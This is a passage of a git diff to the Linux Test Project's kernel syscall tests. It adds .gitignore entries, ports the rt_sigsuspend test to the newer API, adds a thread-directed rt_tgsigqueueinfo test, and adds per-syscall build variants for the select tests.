@@ -0,0 +1,2 @@
+/rt_sigprocmask01
+/rt_sigprocmask02
diff --git a/testcases/kernel/syscalls/rt_sigqueueinfo/.gitignore b/testcases/kernel/syscalls/rt_sigqueueinfo/.gitignore
new file mode 100644
index 0000000..37cd206
--- /dev/null
+++ b/testcases/kernel/syscalls/rt_sigqueueinfo/.gitignore
@@ -0,0 +1 @@
+/rt_sigqueueinfo01
diff --git a/testcases/kernel/syscalls/rt_sigsuspend/.gitignore b/testcases/kernel/syscalls/rt_sigsuspend/.gitignore
new file mode 100644
index 0000000..33de0c1
--- /dev/null
+++ b/testcases/kernel/syscalls/rt_sigsuspend/.gitignore
@@ -0,0 +1 @@
+/rt_sigsuspend01
diff --git a/testcases/kernel/syscalls/rt_sigsuspend/rt_sigsuspend01.c b/testcases/kernel/syscalls/rt_sigsuspend/rt_sigsuspend01.c
index 19e2eb6..f17a9aa 100644
--- a/testcases/kernel/syscalls/rt_sigsuspend/rt_sigsuspend01.c
+++ b/testcases/kernel/syscalls/rt_sigsuspend/rt_sigsuspend01.c
@@ -1,110 +1,66 @@
 /******************************************************************************/
 /* Copyright (c) Crackerjack Project., 2007                                   */
 /*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software Foundation,   */
-/* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           */
-/*                                                                            */
 /* History:     Porting from Crackerjack to LTP is done by                    */
 /*              Manas Kumar Nayak maknayak@in.ibm.com>                        */
 /******************************************************************************/
 
-/******************************************************************************/
-/* Description: This tests the rt_sigsuspend() syscall.                       */
-/******************************************************************************/
+/*
+ * Description: This tests the rt_sigsuspend() syscall.
+ *
+ * Waits for SIGALRM in rt_sigsuspend() then checks that process mask wasn't
+ * modified.
+ */
 
-#include <stdio.h>
 #include <signal.h>
 #include <errno.h>
 
-#include "test.h"
+#include "tst_test.h"
 #include "lapi/syscalls.h"
-#include "lapi/rt_sigaction.h"
-
-char *TCID = "rt_sigsuspend01";
-int TST_TOTAL = 1;
-
-static void cleanup(void)
-{
-	tst_rmdir();
-}
-
-static void setup(void)
-{
-	TEST_PAUSE;
-	tst_tmpdir();
-}
+#include "lapi/safe_rt_signal.h"
 
 static void sig_handler(int sig)
 {
+	(void) sig;
 }
 
-int main(int ac, char **av)
+static void verify_rt_sigsuspend(void)
 {
+	int i;
 	sigset_t set, set1, set2;
-	int lc;
+	struct sigaction act = {.sa_handler = sig_handler};
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (sigemptyset(&set) < 0)
+		tst_brk(TFAIL | TERRNO, "sigemptyset failed");
 
-	setup();
+	SAFE_RT_SIGACTION(SIGALRM, &act, NULL, SIGSETSIZE);
 
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
+	SAFE_RT_SIGPROCMASK(0, NULL, &set1, SIGSETSIZE);
 
-		tst_count = 0;
+	alarm(1);
 
-		if (sigemptyset(&set) < 0)
-			tst_brkm(TFAIL | TERRNO, cleanup, "sigemptyset failed");
-		struct sigaction act, oact;
-		memset(&act, 0, sizeof(act));
-		memset(&oact, 0, sizeof(oact));
-		act.sa_handler = sig_handler;
+	TEST(tst_syscall(__NR_rt_sigsuspend, &set, SIGSETSIZE));
 
-		TEST(ltp_rt_sigaction(SIGALRM, &act, &oact, SIGSETSIZE));
-		if (TEST_RETURN == -1)
-			tst_brkm(TFAIL | TTERRNO, cleanup,
-				 "rt_sigaction failed");
+	alarm(0);
 
-		TEST(ltp_syscall(__NR_rt_sigprocmask, SIG_UNBLOCK, 0,
-			     &set1, SIGSETSIZE));
-		if (TEST_RETURN == -1)
-			tst_brkm(TFAIL | TTERRNO, cleanup,
-				 "rt_sigprocmask failed");
+	if (TST_RET != -1)
+		tst_brk(TFAIL, "rt_sigsuspend returned %ld", TST_RET);
 
-		TEST(alarm(5));
-		int result;
-		TEST(result = ltp_syscall(__NR_rt_sigsuspend, &set,
-			SIGSETSIZE));
-		TEST(alarm(0));
-		if (result == -1 && TEST_ERRNO != EINTR) {
-			TEST(ltp_syscall(__NR_rt_sigprocmask, SIG_UNBLOCK, 0,
-				&set2, SIGSETSIZE));
-			if (TEST_RETURN == -1) {
-				tst_brkm(TFAIL | TTERRNO, cleanup,
-					 "rt_sigprocmask failed");
-			} else if (set1.__val[0] != set2.__val[0]) {
-				tst_brkm(TFAIL | TTERRNO, cleanup,
-					 "rt_sigsuspend failed to "
-					 "preserve signal mask");
-			} else {
-				tst_resm(TPASS, "rt_sigsuspend PASSED");
-			}
-		} else {
-			tst_resm(TFAIL | TTERRNO, "rt_sigsuspend failed");
-		}
+	if (TST_ERR != EINTR)
+		tst_brk(TFAIL | TTERRNO, "rt_sigsuspend() failed unexpectedly");
 
+	tst_res(TPASS, "rt_sigsuspend() returned with -1 and EINTR");
+
+	SAFE_RT_SIGPROCMASK(0, NULL, &set2, SIGSETSIZE);
+	for (i = 1; i < SIGRTMAX; i++) {
+		if (i >= __SIGRTMIN && i < SIGRTMIN)
+			continue;
+		if (sigismember(&set1, i) != sigismember(&set2, i))
+			tst_brk(TFAIL, "signal mask not preserved");
 	}
-
-	cleanup();
-
-	tst_exit();
+	tst_res(TPASS, "signal mask preserved");
 }
+
+static struct tst_test test = {
+	.test_all = verify_rt_sigsuspend,
+};
diff --git a/testcases/kernel/syscalls/rt_sigtimedwait/.gitignore b/testcases/kernel/syscalls/rt_sigtimedwait/.gitignore
new file mode 100644
index 0000000..49b1585
--- /dev/null
+++ b/testcases/kernel/syscalls/rt_sigtimedwait/.gitignore
@@ -0,0 +1 @@
+/rt_sigtimedwait01
diff --git a/testcases/kernel/syscalls/rt_tgsigqueueinfo/.gitignore b/testcases/kernel/syscalls/rt_tgsigqueueinfo/.gitignore
new file mode 100644
index 0000000..f9ffa58
--- /dev/null
+++ b/testcases/kernel/syscalls/rt_tgsigqueueinfo/.gitignore
@@ -0,0 +1 @@
+rt_tgsigqueueinfo01
diff --git a/testcases/kernel/syscalls/rt_tgsigqueueinfo/Makefile b/testcases/kernel/syscalls/rt_tgsigqueueinfo/Makefile
new file mode 100644
index 0000000..035ca64
--- /dev/null
+++ b/testcases/kernel/syscalls/rt_tgsigqueueinfo/Makefile
@@ -0,0 +1,10 @@
+# Copyright (c) 2019 - Linaro Limited. All rights reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir             ?= ../../../..
+
+rt_tgsigqueueinfo01: CFLAGS+=-pthread
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c b/testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c
new file mode 100644
index 0000000..c8252ed
--- /dev/null
+++ b/testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c
@@ -0,0 +1,187 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2019 Linaro Limited. All rights reserved.
+ * Author: Sumit Garg <sumit.garg@linaro.org>
+ */
+
+/*
+ * Test rt_tgsigqueueinfo
+ *
+ * This tests the rt_tgsigqueueinfo() syscall. It sends the signal and data
+ * to the single thread specified by the combination of tgid, a thread group
+ * ID, and tid, a thread in that thread group.
+ *
+ * Also this implement 3 tests differing on the basis of signal sender:
+ * - Sender and receiver is the same thread.
+ * - Sender is parent of the thread.
+ * - Sender is different thread.
+ */
+
+#define _GNU_SOURCE
+
+#include <err.h>
+#include <pthread.h>
+#include "tst_safe_pthread.h"
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+
+#ifndef ANDROID
+#define SI_SIGVAL si_sigval
+#else
+#define SI_SIGVAL _sigval
+#endif
+
+static char sigval_send[] = "rt_tgsigqueueinfo data";
+static volatile int signum_rcv;
+static char *sigval_rcv;
+
+static void sigusr1_handler(int signum, siginfo_t *uinfo,
+			    void *p LTP_ATTRIBUTE_UNUSED)
+{
+	signum_rcv = signum;
+	sigval_rcv = uinfo->_sifields._rt.SI_SIGVAL.sival_ptr;
+}
+
+void *send_rcv_func(void *arg)
+{
+	siginfo_t uinfo;
+
+	signum_rcv = 0;
+	sigval_rcv = NULL;
+
+	uinfo.si_errno = 0;
+	uinfo.si_code = SI_QUEUE;
+	uinfo._sifields._rt.SI_SIGVAL.sival_ptr = sigval_send;
+
+	TEST(tst_syscall(__NR_rt_tgsigqueueinfo, getpid(),
+			 syscall(__NR_gettid), SIGUSR1, &uinfo));
+	if (TST_RET)
+		tst_brk(TFAIL | TTERRNO, "rt_tgsigqueueinfo failed");
+
+	while (!signum_rcv)
+		usleep(1000);
+
+	if ((signum_rcv == SIGUSR1) && (sigval_rcv == sigval_send))
+		tst_res(TPASS, "Test signal to self succeeded");
+	else
+		tst_res(TFAIL, "Failed to deliver signal/data to self thread");
+
+	return arg;
+}
+
+static void verify_signal_self(void)
+{
+	pthread_t pt;
+
+	SAFE_PTHREAD_CREATE(&pt, NULL, send_rcv_func, NULL);
+
+	SAFE_PTHREAD_JOIN(pt, NULL);
+}
+
+void *receiver_func(void *arg)
+{
+	pid_t *tid = arg;
+
+	*tid = syscall(__NR_gettid);
+
+	signum_rcv = 0;
+	sigval_rcv = NULL;
+
+	TST_CHECKPOINT_WAKE(0);
+
+	while (!signum_rcv)
+		usleep(1000);
+
+	if ((signum_rcv == SIGUSR1) && (sigval_rcv == sigval_send))
+		tst_res(TPASS, "Test signal to different thread succeeded");
+	else
+		tst_res(TFAIL,
+			"Failed to deliver signal/data to different thread");
+
+	return NULL;
+}
+
+static void verify_signal_parent_thread(void)
+{
+	pid_t tid = -1;
+	pthread_t pt;
+	siginfo_t uinfo;
+
+	SAFE_PTHREAD_CREATE(&pt, NULL, receiver_func, &tid);
+
+	TST_CHECKPOINT_WAIT(0);
+
+	uinfo.si_errno = 0;
+	uinfo.si_code = SI_QUEUE;
+	uinfo._sifields._rt.SI_SIGVAL.sival_ptr = sigval_send;
+
+	TEST(tst_syscall(__NR_rt_tgsigqueueinfo, getpid(),
+			 tid, SIGUSR1, &uinfo));
+	if (TST_RET)
+		tst_brk(TFAIL | TTERRNO, "rt_tgsigqueueinfo failed");
+
+	SAFE_PTHREAD_JOIN(pt, NULL);
+}
+
+void *sender_func(void *arg)
+{
+	pid_t *tid = arg;
+	siginfo_t uinfo;
+
+	uinfo.si_errno = 0;
+	uinfo.si_code = SI_QUEUE;
+	uinfo._sifields._rt.SI_SIGVAL.sival_ptr = sigval_send;
+
+	TEST(tst_syscall(__NR_rt_tgsigqueueinfo, getpid(),
+			 *tid, SIGUSR1, &uinfo));
+	if (TST_RET)
+		tst_brk(TFAIL | TTERRNO, "rt_tgsigqueueinfo failed");
+
+	return NULL;
+}
+
+static void verify_signal_inter_thread(void)
+{
+	pid_t tid = -1;
+	pthread_t pt1, pt2;
+
+	SAFE_PTHREAD_CREATE(&pt1, NULL, receiver_func, &tid);
+
+	TST_CHECKPOINT_WAIT(0);
+
+	SAFE_PTHREAD_CREATE(&pt2, NULL, sender_func, &tid);
+
+	SAFE_PTHREAD_JOIN(pt2, NULL);
+
+	SAFE_PTHREAD_JOIN(pt1, NULL);
+}
+
+static struct tcase {
+	void (*tfunc)(void);
+} tcases[] = {
+	{&verify_signal_self},
+	{&verify_signal_parent_thread},
+	{&verify_signal_inter_thread},
+};
+
+static void run(unsigned int i)
+{
+	tcases[i].tfunc();
+}
+
+static void setup(void)
+{
+	struct sigaction sigusr1 = {
+		.sa_flags = SA_SIGINFO,
+		.sa_sigaction = sigusr1_handler,
+	};
+
+	SAFE_SIGACTION(SIGUSR1, &sigusr1, NULL);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_checkpoints = 1,
+	.setup = setup,
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/sbrk/.gitignore b/testcases/kernel/syscalls/sbrk/.gitignore
new file mode 100644
index 0000000..89f1095
--- /dev/null
+++ b/testcases/kernel/syscalls/sbrk/.gitignore
@@ -0,0 +1,3 @@
+/sbrk01
+/sbrk02
+/sbrk03
diff --git a/testcases/kernel/syscalls/sched_get_priority_max/.gitignore b/testcases/kernel/syscalls/sched_get_priority_max/.gitignore
new file mode 100644
index 0000000..dcf9dba
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_get_priority_max/.gitignore
@@ -0,0 +1,2 @@
+/sched_get_priority_max01
+/sched_get_priority_max02
diff --git a/testcases/kernel/syscalls/sched_get_priority_min/.gitignore b/testcases/kernel/syscalls/sched_get_priority_min/.gitignore
new file mode 100644
index 0000000..293404c
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_get_priority_min/.gitignore
@@ -0,0 +1,2 @@
+/sched_get_priority_min01
+/sched_get_priority_min02
diff --git a/testcases/kernel/syscalls/sched_getaffinity/.gitignore b/testcases/kernel/syscalls/sched_getaffinity/.gitignore
new file mode 100644
index 0000000..c5f1286
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_getaffinity/.gitignore
@@ -0,0 +1 @@
+/sched_getaffinity01
diff --git a/testcases/kernel/syscalls/sched_getattr/.gitignore b/testcases/kernel/syscalls/sched_getattr/.gitignore
new file mode 100644
index 0000000..3638915
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_getattr/.gitignore
@@ -0,0 +1,2 @@
+/sched_getattr01
+/sched_getattr02
diff --git a/testcases/kernel/syscalls/sched_getparam/.gitignore b/testcases/kernel/syscalls/sched_getparam/.gitignore
new file mode 100644
index 0000000..d1a7402
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_getparam/.gitignore
@@ -0,0 +1,3 @@
+/sched_getparam01
+/sched_getparam02
+/sched_getparam03
diff --git a/testcases/kernel/syscalls/sched_getscheduler/.gitignore b/testcases/kernel/syscalls/sched_getscheduler/.gitignore
new file mode 100644
index 0000000..6bf68ff
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_getscheduler/.gitignore
@@ -0,0 +1,2 @@
+/sched_getscheduler01
+/sched_getscheduler02
diff --git a/testcases/kernel/syscalls/sched_rr_get_interval/.gitignore b/testcases/kernel/syscalls/sched_rr_get_interval/.gitignore
new file mode 100644
index 0000000..a9bef3b
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_rr_get_interval/.gitignore
@@ -0,0 +1,3 @@
+/sched_rr_get_interval01
+/sched_rr_get_interval02
+/sched_rr_get_interval03
diff --git a/testcases/kernel/syscalls/sched_setaffinity/.gitignore b/testcases/kernel/syscalls/sched_setaffinity/.gitignore
new file mode 100644
index 0000000..94e2502
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_setaffinity/.gitignore
@@ -0,0 +1 @@
+/sched_setaffinity01
diff --git a/testcases/kernel/syscalls/sched_setaffinity/sched_setaffinity.h b/testcases/kernel/syscalls/sched_setaffinity/sched_setaffinity.h
deleted file mode 100644
index 906864a..0000000
--- a/testcases/kernel/syscalls/sched_setaffinity/sched_setaffinity.h
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of
- * the License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see <http://www.gnu.org/licenses/>.
- */
-
-/*
- * Some old libcs (like glibc < 2.7) do not provide interfaces for
- * dynamically sized cpu sets, but provide only static cpu_set_t type
- * with no more than CPU_SETSIZE cpus in it.
- *
- * This file is a wrapper of the dynamic interfaces using the static ones.
- *
- * If the number of cpus available on the system is greater than
- * CPU_SETSIZE, this interface will not work. Update libc in this case :)
- */
-
-#define _GNU_SOURCE
-#include <sched.h>
-
-#ifndef LTP_SCHED_SETAFFINITY_H
-#define LTP_SCHED_SETAFFINITY_H
-
-#ifndef CPU_ALLOC
-#define CPU_ALLOC(ncpus) malloc(sizeof(cpu_set_t)); \
-if (ncpus > CPU_SETSIZE) { \
-	tst_brkm(TCONF, cleanup, \
-		"Your libc does not support masks with %ld cpus", ncpus); \
-}
-#endif
-
-#ifndef CPU_FREE
-#define CPU_FREE(ptr) free(ptr)
-#endif
-
-#ifndef CPU_ALLOC_SIZE
-#define CPU_ALLOC_SIZE(size) sizeof(cpu_set_t)
-#endif
-
-#ifndef CPU_ZERO_S
-#define CPU_ZERO_S(size, mask) CPU_ZERO(mask)
-#endif
-
-#ifndef CPU_SET_S
-#define CPU_SET_S(cpu, size, mask) CPU_SET(cpu, mask)
-#endif
-
-#endif /* LTP_SCHED_SETAFFINITY_H */
diff --git a/testcases/kernel/syscalls/sched_setaffinity/sched_setaffinity01.c b/testcases/kernel/syscalls/sched_setaffinity/sched_setaffinity01.c
index 43f8efc..e9367d6 100644
--- a/testcases/kernel/syscalls/sched_setaffinity/sched_setaffinity01.c
+++ b/testcases/kernel/syscalls/sched_setaffinity/sched_setaffinity01.c
@@ -40,7 +40,7 @@
 #include <sys/wait.h>
 #include "test.h"
 #include "safe_macros.h"
-#include "sched_setaffinity.h"
+#include "lapi/cpuset.h"
 #include "lapi/syscalls.h"
 
 char *TCID = "sched_setaffinity01";
diff --git a/testcases/kernel/syscalls/sched_setattr/.gitignore b/testcases/kernel/syscalls/sched_setattr/.gitignore
new file mode 100644
index 0000000..f2b192d
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_setattr/.gitignore
@@ -0,0 +1 @@
+/sched_setattr01
diff --git a/testcases/kernel/syscalls/sched_setparam/.gitignore b/testcases/kernel/syscalls/sched_setparam/.gitignore
new file mode 100644
index 0000000..6873e50
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_setparam/.gitignore
@@ -0,0 +1,5 @@
+/sched_setparam01
+/sched_setparam02
+/sched_setparam03
+/sched_setparam04
+/sched_setparam05
diff --git a/testcases/kernel/syscalls/sched_setscheduler/.gitignore b/testcases/kernel/syscalls/sched_setscheduler/.gitignore
new file mode 100644
index 0000000..aa8ad96
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_setscheduler/.gitignore
@@ -0,0 +1,3 @@
+/sched_setscheduler01
+/sched_setscheduler02
+/sched_setscheduler03
diff --git a/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c
index a513106..dd3853b 100644
--- a/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c
+++ b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c
@@ -110,7 +110,7 @@
 
 	TEST(sched_setscheduler(*cases[i].pid, cases[i].policy,
 					cases[i].sched_param));
-	if (TEST_RETURN)
+	if (TST_RET)
 		tst_res(TFAIL | TTERRNO, "case[%d] expected: %d, got: ",
 			i + 1, cases[i].error);
 	else
diff --git a/testcases/kernel/syscalls/sched_yield/.gitignore b/testcases/kernel/syscalls/sched_yield/.gitignore
new file mode 100644
index 0000000..95b6fd1
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_yield/.gitignore
@@ -0,0 +1 @@
+/sched_yield01
diff --git a/testcases/kernel/syscalls/select/.gitignore b/testcases/kernel/syscalls/select/.gitignore
new file mode 100644
index 0000000..c6e92c8
--- /dev/null
+++ b/testcases/kernel/syscalls/select/.gitignore
@@ -0,0 +1,16 @@
+/select01
+/select01_SYS__newselect
+/select01_SYS_select
+/select01_SYS_pselect6
+/select02
+/select02_SYS__newselect
+/select02_SYS_select
+/select02_SYS_pselect6
+/select03
+/select03_SYS__newselect
+/select03_SYS_select
+/select03_SYS_pselect6
+/select04
+/select04_SYS__newselect
+/select04_SYS_select
+/select04_SYS_pselect6
diff --git a/testcases/kernel/syscalls/select/Makefile b/testcases/kernel/syscalls/select/Makefile
index aed044f..40b7c5c 100644
--- a/testcases/kernel/syscalls/select/Makefile
+++ b/testcases/kernel/syscalls/select/Makefile
@@ -18,7 +18,29 @@
 
 top_srcdir		?= ../../../..
 
+%_SYS__newselect: %_SYS__newselect.o
+	$(LINK.o) $^ $(LOADLIBES) $(LDLIBS) -o $@
+%_SYS_select: %_SYS_select.o
+	$(LINK.o) $^ $(LOADLIBES) $(LDLIBS) -o $@
+%_SYS_pselect6: %_SYS_pselect6.o
+	$(LINK.o) $^ $(LOADLIBES) $(LDLIBS) -o $@
+
+%_SYS__newselect.o: %.c select.h
+	$(COMPILE.c) -DSYSCALL_SELECT__NEWSELECT $(OUTPUT_OPTION) $<
+%_SYS_select.o: %.c select.h
+	$(COMPILE.c) -DSYSCALL_SELECT_SELECT $(OUTPUT_OPTION) $<
+%_SYS_pselect6.o: %.c select.h
+	$(COMPILE.c) -DSYSCALL_SELECT_PSELECT6 $(OUTPUT_OPTION) $<
+
+select01 select02 select03 select04: select.h
+select01 select02 select03 select04: CFLAGS+=-DSYSCALL_SELECT_LIBC
 select04: LDLIBS+=-lrt
+select04_SYS_%: LDLIBS+=-lrt
+
+MAKE_TARGETS := $(notdir $(patsubst %.c,%,$(wildcard $(abs_srcdir:%=%/)*.c))) \
+ $(notdir $(patsubst %.c,%_SYS__newselect,$(wildcard $(abs_srcdir:%=%/)*.c))) \
+ $(notdir $(patsubst %.c,%_SYS_select,$(wildcard $(abs_srcdir:%=%/)*.c)))     \
+ $(notdir $(patsubst %.c,%_SYS_pselect6,$(wildcard $(abs_srcdir:%=%/)*.c)))
 
 include $(top_srcdir)/include/mk/testcases.mk
 
diff --git a/testcases/kernel/syscalls/select/select.h b/testcases/kernel/syscalls/select/select.h
new file mode 100644
index 0000000..9f87669
--- /dev/null
+++ b/testcases/kernel/syscalls/select/select.h
@@ -0,0 +1,130 @@
+/*
+ * Copyright (c) 2019 Google, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef SELECT_H__
+#define SELECT_H__
+
+#include <stdlib.h>
+#include <sys/select.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define str_expand(s) str(s)
+#define str(s) #s
+
+#if defined(SYSCALL_SELECT_LIBC)
+
+// bionic and GNU libc actually use pselect6 instead, others?
+#define SELECT_TEST_SYSCALL select
+#define SELECT_TEST_FILENAME(x) x
+
+#else
+
+#ifndef TCONF
+#include "test.h"
+#endif
+#ifndef tst_brkm
+#include <stdio.h>
+#define tst_brkm(a1, a2, whatever...) \
+	{ \
+		printf("BROK : "); \
+		printf(whatever); \
+		printf("\n"); \
+		_exit(0); \
+	}
+#endif
+
+#include "lapi/syscalls.h"
+
+#define undefined __LTP__NR_INVALID_SYSCALL
+
+#ifndef __NR_select
+#define __NR_select undefined
+#endif
+#if defined(__LP64__)
+#define select_sys_select(n, inp, outp, exp, tvp) \
+	return ltp_syscall(__NR_select, n, inp, outp, exp, tvp)
+#else
+struct compat_sel_arg_struct {
+	long _n;
+	long _inp;
+	long _outp;
+	long _exp;
+	long _tvp;
+};
+#define select_sys_select(n, inp, outp, exp, tvp) \
+	struct compat_sel_arg_struct arg; \
+\
+	arg._n = (long)n; \
+	arg._inp = (long)inp; \
+	arg._outp = (long)outp; \
+	arg._exp = (long)exp; \
+	arg._tvp = (long)tvp; \
+	return ltp_syscall(__NR_select, &arg)
+#endif
+
+#ifndef __NR__newselect
+#define __NR__newselect undefined
+#endif
+#define select_sys__newselect(n, inp, outp, exp, tvp) \
+	return ltp_syscall(__NR__newselect, n, inp, outp, exp, tvp)
+
+#define select_sys_pselect6(n, inp, outp, exp, tvp) \
+	int ret; \
+	struct timespec ts; \
+\
+	ts.tv_sec = tvp->tv_sec; \
+	ts.tv_nsec = tvp->tv_usec * 1000; \
+	ret = ltp_syscall(__NR_pselect6, n, inp, outp, exp, &ts, NULL); \
+	tvp->tv_sec = ts.tv_sec; \
+	tvp->tv_usec = ts.tv_nsec / 1000; \
+	return ret
+
+#if defined(SYSCALL_SELECT__NEWSELECT)
+#define SELECT_TEST_SYSCALL _newselect
+#elif defined(SYSCALL_SELECT_SELECT)
+#define SELECT_TEST_SYSCALL select
+#elif defined(SYSCALL_SELECT_PSELECT6)
+#define SELECT_TEST_SYSCALL pselect6
+#else
+/* automatically select between newselect, select or pselect6 if available */
+#if __NR__newselect != __LTP__NR_INVALID_SYSCALL
+#define SELECT_TEST_SYSCALL _newselect
+#elif __NR_select != __LTP__NR_INVALID_SYSCALL
+#define SELECT_TEST_SYSCALL select
+#else
+#define SELECT_TEST_SYSCALL pselect6
+#endif
+#endif
+
+#define __MY_select(x) select_sys_ ## x
+#define _MY_select(x) __MY_select(x)
+#define MY_select _MY_select(SELECT_TEST_SYSCALL)
+
+int select(int __fd_count, fd_set* __read_fds, fd_set* __write_fds,
+	   fd_set* __exception_fds, struct timeval* __timeout)
+{
+	MY_select(__fd_count, __read_fds, __write_fds, __exception_fds,
+		  __timeout);
+}
+
+#define SELECT_TEST_FILENAME(x) x "_SYS_" str_expand(SELECT_TEST_SYSCALL)
+
+#endif /* ! SYSCALL_SELECT_LIBC */
+
+#endif  /* SELECT_H__ */
diff --git a/testcases/kernel/syscalls/select/select01.c b/testcases/kernel/syscalls/select/select01.c
index e9100c7..2447c62 100644
--- a/testcases/kernel/syscalls/select/select01.c
+++ b/testcases/kernel/syscalls/select/select01.c
@@ -43,17 +43,16 @@
 #include <signal.h>
 #include <string.h>
 #include <sys/param.h>
-#include <sys/types.h>
-#include <sys/time.h>
 
 #include "test.h"
+#include "select.h"
 
-#define FILENAME	"select01"
+#define FILENAME	SELECT_TEST_FILENAME("select01")
 
 static void setup(void);
 static void cleanup(void);
 
-char *TCID = "select01";
+char *TCID = FILENAME;
 int TST_TOTAL = 1;
 
 int Fd = -1;
diff --git a/testcases/kernel/syscalls/select/select02.c b/testcases/kernel/syscalls/select/select02.c
index 7aa0107..cd7d959 100644
--- a/testcases/kernel/syscalls/select/select02.c
+++ b/testcases/kernel/syscalls/select/select02.c
@@ -43,15 +43,14 @@
 #include <fcntl.h>
 #include <signal.h>
 #include <sys/param.h>
-#include <sys/types.h>
-#include <sys/time.h>
 
 #include "test.h"
 #include "safe_macros.h"
+#include "select.h"
 
 static void setup(void);
 
-char *TCID = "select02";
+char *TCID = SELECT_TEST_FILENAME("select02");
 int TST_TOTAL = 1;
 
 int Fd[2];
diff --git a/testcases/kernel/syscalls/select/select03.c b/testcases/kernel/syscalls/select/select03.c
index da7fdb0..42573a6 100644
--- a/testcases/kernel/syscalls/select/select03.c
+++ b/testcases/kernel/syscalls/select/select03.c
@@ -43,19 +43,18 @@
 #include <fcntl.h>
 #include <signal.h>
 #include <sys/param.h>
-#include <sys/types.h>
-#include <sys/time.h>
 #include <sys/stat.h>
 
 #include "test.h"
 #include "safe_macros.h"
+#include "select.h"
 
-#define FILENAME	"select03"
+#define FILENAME	SELECT_TEST_FILENAME("select03")
 
 static void setup(void);
 static void cleanup(void);
 
-char *TCID = "select03";
+char *TCID = FILENAME;
 int TST_TOTAL = 1;
 
 int Fd;
diff --git a/testcases/kernel/syscalls/select/select04.c b/testcases/kernel/syscalls/select/select04.c
index 4ca7a31..e1e19ee 100644
--- a/testcases/kernel/syscalls/select/select04.c
+++ b/testcases/kernel/syscalls/select/select04.c
@@ -21,11 +21,10 @@
  */
 #include <unistd.h>
 #include <errno.h>
-#include <sys/time.h>
-#include <sys/types.h>
 #include <fcntl.h>
 
 #include "tst_timer_test.h"
+#include "select.h"
 
 static int fds[2];
 
@@ -43,8 +42,8 @@
 	tst_timer_stop();
 	tst_timer_sample();
 
-	if (TEST_RETURN != 0) {
-		tst_res(TFAIL | TTERRNO, "select() returned %li", TEST_RETURN);
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO, "select() returned %li", TST_RET);
 		return 1;
 	}
 
@@ -66,7 +65,7 @@
 }
 
 static struct tst_test test = {
-	.scall = "select()",
+	.scall = str_expand(SELECT_TEST_SYSCALL) "()",
 	.sample = sample_fn,
 	.setup = setup,
 	.cleanup = cleanup,
diff --git a/testcases/kernel/syscalls/send/.gitignore b/testcases/kernel/syscalls/send/.gitignore
new file mode 100644
index 0000000..9394e97
--- /dev/null
+++ b/testcases/kernel/syscalls/send/.gitignore
@@ -0,0 +1 @@
+/send01
diff --git a/testcases/kernel/syscalls/sendfile/.gitignore b/testcases/kernel/syscalls/sendfile/.gitignore
new file mode 100644
index 0000000..9eddf53
--- /dev/null
+++ b/testcases/kernel/syscalls/sendfile/.gitignore
@@ -0,0 +1,16 @@
+/sendfile02
+/sendfile02_64
+/sendfile03
+/sendfile03_64
+/sendfile04
+/sendfile04_64
+/sendfile05
+/sendfile05_64
+/sendfile06
+/sendfile06_64
+/sendfile07
+/sendfile07_64
+/sendfile08
+/sendfile08_64
